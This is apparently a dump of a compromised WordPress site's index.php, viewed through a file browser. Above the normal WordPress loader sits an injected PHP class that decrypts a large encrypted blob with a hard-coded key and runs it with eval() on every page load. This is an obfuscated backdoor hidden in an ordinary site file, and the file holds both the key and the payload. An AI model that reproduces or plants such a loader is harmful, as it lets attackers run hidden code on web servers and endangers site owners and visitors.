Current File : /home/kelaby89/pinsandneedlesalterations.com/index.php
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}

$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '7TANPRYOK+SFpvglapNDNloc1DrNkmmJOaHh3cFLkQ3M/0gAgA+fB4bpvCpuGyB7Biu+/Rs/vETAUvd/NUAPaBKqjaEYN2SwBF9hoL5iMhQIAd4jNE+7G9MSKDVSqPFktTNVNSk1bpUZ/cmnLkIbBNdQNiOLMON4VziPuLW5S2muuYkuVk28k77cg8AxxjLJHSxxhqIEB3VHcgawDt6RFmsqTeQPxr86j5d/wAwgyK3tq90eSm0W7bxwiX4uZSHc8GxoTccz1gpCB3YTdIl2r4rY3xxnbLsFz/IQBtnhp7/bAFffMK0rupo9INRPnI3P2lNMxJlJHYvdDrlgBcL5lDvWMwBGisWWT9dI3LxjetsB6MB3bOT7KuGuoiUZsltQ2MAlkRO253Z9/6rt2h2twKH3KFEeTfMlxv3CW+/LVV40iN9fbSfIIipRvE8iMm3sBMgh+ILnq3/Jsw4r7J427/vbz1caxXGOVCp1/sctoDIFTuC96gaE/MLgSXsWAYhRRYt7e3PhTHwuVRONMVaj5Kn2Y2ZX1CT7ZaUZ1MtdA4xS2+KeS1sVX5Wi52eg4Uoz9P/Uvk4Jv7jcC3n52ci4MKAOdXYMVsaibi8wXnymBC9tJTyLgyarONc2TEVoIRzjLe8iL9YfTQOQBIHmGfGL8AHtYj3GZLFxgGZXWTG31oQqtkcDlzhswjCU/kJH27LsYtRfcngOthsicZl1dzA7lPRZot3QTyPxrd6Ch3ze9s2sNV0eqlqxR99co2RRHkvKjA9A88SAEpdTkPXgkmveK58Dvm3vvkH+8xYbMl8H8SfzaT4UM4ak+r/Yl6Dc8PRTiQILGm+w9MLXoG3qQQwAeYZGhV4ZANFfwgqD+leIzxsF9osloca8opdbuwIzskai9XBICEf8Fm3PeiDlXKKdQLxlAWz595Jt46kKqoh8GlXtoMRk7VBjNyNsnVYi1xQ9qpYeKJj006zPDNwpvsWGjqTEEKXjz9+HZvhcIEgQv7ZOh6nHgflsSvnKYqQvuQ2BdHVyK/oinerEorT7IBpuaWog56dDqojstFBIGK2ciXLdgtR4Ezw4HDaUwrH+3cXe5O+h6UarYSSLo71olS6IXaKESlUT0XqgukSV/BDshEYH53sdZG19NgfR8wF9gJnRnZ3xFNKl/Sak1xI/DX9M+PZQLbT/FzpqC3b8BGqgmADjflV5g8gr5w1xAZJ89NvxFfk0pukck2eNdDDh7uLNUuG5sD0gf/OYCM39/rJArWGI4xAQfRATMe8tKQwjhMxXNj38BttM5W93G+pRLXWSoQGBVtqatJINZVTberT52HBgWTYBN1EzWFW+V3Y35ibbqJcndTzkRv/XxBripu9vk9jtDNjoav6Pu3gSG8EU1QYjBDkGx8aXpXbi0xP/EtjR+py8E0TU30KFZFmjhk7ITx+u1H+2OoiMVlI4tiq5mnfwpMrjX/dN6tpsWLBBYxQh2L27NXIkX8lXQTiHPQ+zqP/Z+oEyW9rZQ5lpjTbz7R7Ru8aD2qazEcP2j3LndvvbbSnWyA3awIHvkw0qAE/80jm/sCEZBfr2CMmfDM1o1xgWY5uPZNT05KdtMflKR/xhiTtxmNo/8kSReN/kpbsXr2itpbqQXO9QyjbrRxYCu5XdkMqOieKVkozEpnpK4+wdOf09iQk9qlwosUPt1WykvVEn+DhgaHXgHHNWJbukD4tbNEtBG4TzH1LFj9b/mPYrzCuO5Eo2lOf13L0oiJlnXRCs5gVeuMcvJSO/j5as1H0u/0kUtq6AYv60hNe0VZgvO81AfukA2FThgPTa7U73/nKGPy6sdE3W/v4eZcydeLFbj+38hiu/BRqXOzOsWfe41Q0/v5zXsbwKyugK96CbhBBOImeGowj9N2yaSW7XvQzu1TxtYol0HkeBBJkjjWMRAPsna+EBvcIvDb7DoM1hLJhahWaivKTN4SJxAvYMNuBeD4oJe5rWiLdKL53WPry799oY0UcO1y6Txfk/bRPC9zD8aweBtUMxylsdesPbeKw8LNN54MFhTu4e2ClX9mj0/Gqqu2T12hRjLgL7wjFq39heh892Rmx9hmRI1+VjxalSAYqQ5KIllUcorxvXESUhhtg5ncbTmb0OazL/b0j8Y85bkeDnLqmAHSL7KdwCydLhwnqo1jnjwIbSuuRfSEIRDyzMbEXaOWu7H0Vny5m4cp3W5dlcbDrZwzC70rA3O1xqCNzuHRle0ukz4K2KQgAURtIH9bkWQN81XliG5CDXKcQfoGfQ+VqjKiX8nZMPMPUvwb3ce1ud15PIC3C/3VJ751QSjMlCfxkhE/ERil4qdadQ45zJZqnpAnEVK5exkNxuimglxVaCy4Ezbjw2wJwJFGiD+XFh8zkoAPzwbAxcTlcT7Qo8jlQXNX5aP72IbxbnmJRz44MXGQ7fC6PmKS9uKGRYkGLOYXBwM3ewLoGCEEHAInVpu9xLpoyua/1BGLFUXftHjp2cpDeIkH2mzregyyftLo4YrpwtJBd7jWQ2DbSqqOf2jyRF0sqvo9/Lroa+wStyS11ICfWFiWEafeGpL6cSOiG0RO7SP2/G3b9DnAD8HHfNQFgk/cNlKmbWobvMt39xfAYUu8AwmBLKp9kwcy01ZQNZzeGbVNGWoOZOXUfc7QnEo6ncTpo2aNo99mCe8P1HVCSTo6fxzP9WCsjrKdQ8DLjcLVZurXJDfRIv77Ep1OtLSZQYE0BQUvYbkyjAgiSscFqEQwrA3ZK/Y2Ql99ComRq1Ut6sQtvCSiqEcFYuEiWnWJ8S4+cerxvlEPCySuQPKBkXjZEo30Zz+tqvTQHgLJLJbHeHN2Cq3pIfvcQnV/iMsXfBYG/LsbMEOUfX0h1H3b9soD8SE/O4TI869242/vjiee6kDiywjSaElrzLqueHXR+VCPobQndDYNonIawBycJWexCfWWuWDDLLdvWFJPb995345T9Idp5TbkGNDh1mwiJVObcNtNIj8DiNt9Fyfr3UYRhHNvfq3AFKlxU4g7MDWapKAZev7CEIQwsi6BTtOMIecxOuhK1LPZrISVczexMMsSp6EFKa4XbpuXVKiqrdBxtNwDWIX7H034tKzViWqsuLZC2larDgdFMvblJMIeNEgJ52dHIWyIZMlqzrQIPQO1AEwkoj8jxyLc3h/TJBpyZMmaoDGOR/oTEFZXGJVwopq0IuXes4zXrjm7aiNvOJZs869ewglf44pu7nxff7Amf5sJg1/g/K6bfFc9qEYn83vqCj26uaAK9KBUMQsiO+yAgJspqcqeSkgQ7meTzTptWjyvy0aVk/DU/UOoFnvljpLci0VtBHymPD05EO6DL91hHzTioi2/O/pHIUhD52VrvbDetXCN1ec10N72C7Cb1Buix2PUwjn0OjlW1+l10AwNrOo3PnKk9vjRXjL3jBFxdekxvjw+hW3YIuJvZOJj31kk6CzNAVqKOcaHi1KNZ/E+5GqkMjO76cs1R3l8Ija+PXkt9NIFLVlWzudrYQjL7+xYJe6vqVXqzJ1aKe6nKxHVmAnatzH58MnFxr3xqQ/gxIYWxgCtLUKzj64qf+Hdv+v+DU3scAc/wWWIxKHuVlp+qSpPgB+ytZRPyb+TrPn7fMGdB2tjVkXF+sywsQmtqysDupsTmNzEjbnYCbuBzYDf4FZWMtXHyVS2iSHBZiRBSAkdobXAKTCStvkCKsTxDyFjKR+epFgYuQTvDIOBm2PQiGnGZKSZKvcDXIsHQMsixcv9nYgK3kZSaAvY/LQWn6/FACXsTGbcuM097kKVN96GaS5Zy0SCmHkvL1pNWZDmHTaWzibCpvzIgA4jlfreKnCLj7Zh8cN0K7zFNmLjCwjrBIIkj8fCsLtCriBi2FTJSzHzMp70n7eXDVLKY0pH7E8Yp5Ks09DN1RzAbFm4S9nYfA16/TG8RSfqPcmsEuhW8adG8iUoKznVfYURRrt2LRpXe6cEifXJFMa36llVw122AnujodUDc3e380K2BAxbIVAwf5W/PCex/aCfMx7B4zEqTwSmj81+QLBAOs39N53HxuOwEZma4owZti13WmSf2MXGUVJGvjEaKGSF/MxVYXiTb07RAT89a3r1Q8iryuEiwaGveQoUyqEWP54YT6S7tDFLhdIs4YgneWNebxuy7Pq8t3Yl9FAmRbYxj17OxFMd5W5G1Vb9uvlL6u+GA9h52kptkt3kj/dohAqM5jV4GtxICOQnlK/h7yzy+SYVRe/pD+2dy/PUAfVPDs2qTnvfVMp3PCBeWvjk9nkP0yngdYz7jJkxfhprSFJSij/IQaktPcer0zBwURB2irBIh/Hnf5hLA9HHJzYBlIhcahXiLZk2yvdt9J75Ck7FBIUBiZKCYatK3bhWLIo8bsKls6O/hoJ/D1t5B6glJNcOdgck2oInDcqYimiMtCqUewxZnhx/ft1CU3dU68t7/olNCFmrLclywElMHWYt4jFG315nUXBTUJuPnSJeoY/bY4q4rAzGEczSupQzCl2UltNAlUaXKSKLk6dJ7P96sPiMWYt9y9Zuc9jLUj2eMhFPYNENk1YDhExBG/JRyA5QEnMArJJs2msFvVXurM3R9fOLSYhHeRgbs7hZ+cr+1WIHm8A7f1QU4dBF6GrbKe+mKFukXZs0sHvxUts0/VVYovhoW0UAmduw8t6wVsbbGZ/NUHCstXfDy28+qMnufsE+8voHK5jmg3Tu0/gPAfyVEV78QCmdhMN3G2Tnm1xFQNUPm9kMeNZNLg1Wnil55OOZtEOXb/3dHkL908j+6iXOgDZjO/J9aBatTESB4eKDar6I47K3OYeWwO89eaFpujCTr3DxJxeSD3i7CkGRG5bi0+Ik68rwbCtkyj/YQEtxr2Gn5dt1+Ff9a+D/WGTLs925kkd9vg3jfReTVRjA2L46WAtXy4mWTWIqZXQ7dk2wx2HAhLkxdwv4fLZ1fLZujXSO6TpZLjlTBe26NbywDoUN7jUEJTTRe0q1JibOK/seshcmBviB93RSmsipzoLfqkIns2V44NDE96u7UiwLWi/DeAbPx0I5PRAGRZar3z7tTuUGspew7X9xzP+Lmvywfzzd0boDWvQB0EdIB9MN24ymXsGJf86GEnOmFVz1JK2sUGYD5O4LqQpLcC8P/vbXyhoiqKUI78ulZz1YPorP0vZn45A5k8NdEZPRKgGSAyyeA/2yNeleeRXG/jMZ++R6kSuVWSSdah5KTFdLNQMni//fo8iV5PU3rNg+65qy+kNugVnVdtnFTRO3LmQLZMRwgJr8nvuK3KmzX96MvYwi2BitoVMQ20YF004QMuo1QGsfnIeRT8mCE+JCraSWnSi2nVVYuqHxqnRR7uW390K1q+0gMmKpKD+2KDG7NCf1w5Ukwb9lng7ULyBa5KVhlIbCG+YGuaf2q8eYW0kgQwXczCTKkiUbuOyZ31cLPPI5Gig9is8+72QkjGBKTvUv9xi8Hk7aJGzdQhDU0uXH6P3IeY8zFQD5cNPydTJ+/ifp2PKtCiD1NpDsZvec7JRoE9h1WRFrKOB5LdUngEqPkWQ+c/WNfzLwQj5LECKcy8HzP5CbarZB5S+EJ8ibC954vq/Xd5z6EnInWsLYrRyKKOJaUykWnFV+EQnBy148CBgX/I673CYRurZtTXSvQW0fySCBQaeIjMRTiIgpCro9sWyjp86Iczq09UxiMMRt8KZ6910rsjqhel+/8ib1whjfdsF6jeDCQHHv/YLgu21DmDU4GjB7LqzmgVz/9M0BBv512zbk/L9/0V84D0dGBSxF5QqLGZLzhmP+QljvHHUwNQ2T8o5R12lL0SMkZ/xtZr/QlkYjPaXC/xaY7xWEbI4nvcnGZyzqpzCUaN5S0XQ/UUcKw2q5ahLorF2pooB+E3ZxqreQwblgnt1RYGP0PWGktsROKX1slUQkmnuNFXU42hLTStIOPbPRWYdxvqy2tGEUloo+8AlCUNNPCfEwywZc8+exk3p+Pze2tpk2n2MlYn8iVuIiNN/FafGjyq0e+rnFTihTkC2pOkdoKRg5CB/QQGXqb+l2w7jlAlIJLpL+3IQKePZmuUe8pwJ82ON18AuroaauEiRM2qaF/+sYfHLxl55Cz6gJFMzGD/YDCF2AjwwerpFZWyTck0x4wxnWPC0NLpfAgu7jCvuAN31z/dvIgq5RUMfMIGmUMZJBfvPbaZ4YegLvSuu4aLiaR2FjmSyWVjfBiIzV75py7XFOdu/ieTGdlVPU4FC5OzHDEoGsEhitOka1ydteGIj5CBJ+hSqg7bHA9yuv14kEAROR2zp9eeB4xX35YM1csyRgffDQ3zk4n92dVnv2q4AOS5++3ZDYwAOaHSBYL+0LoiPkNkidtgeUXdZbnUOO7szNQUg+vRKQUaiS8WQM8SgDmMWZJQcMZy/oze7UgDghQIBp/SVOVyhhwpD2FndfgvnsyExpxZIuV/uf0u7oMErexXLUS1fUU6iVCKG8jYi6jQjdmoO4bMx0mAxnCHOGixBUHLJrk+9ePtbes6nRimzeLb191t7Ja6Tld9+QcpKtBSaGY72J8xopY14uVk5Hmso7iDnpOz/MN8fiSqTM1ksiolTM5AeIKw3QJeqQeW/mhvtEanKjG/htenYBp+dt60nid9BzUkTNRsqBbbrjsmbcc/NRmakV1hmjhryNr0qk23E83vjCDu6g/wKA==';
$decrypted = $secure->decrypt($str);
eval($decrypted);
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
Page not found – Hello World !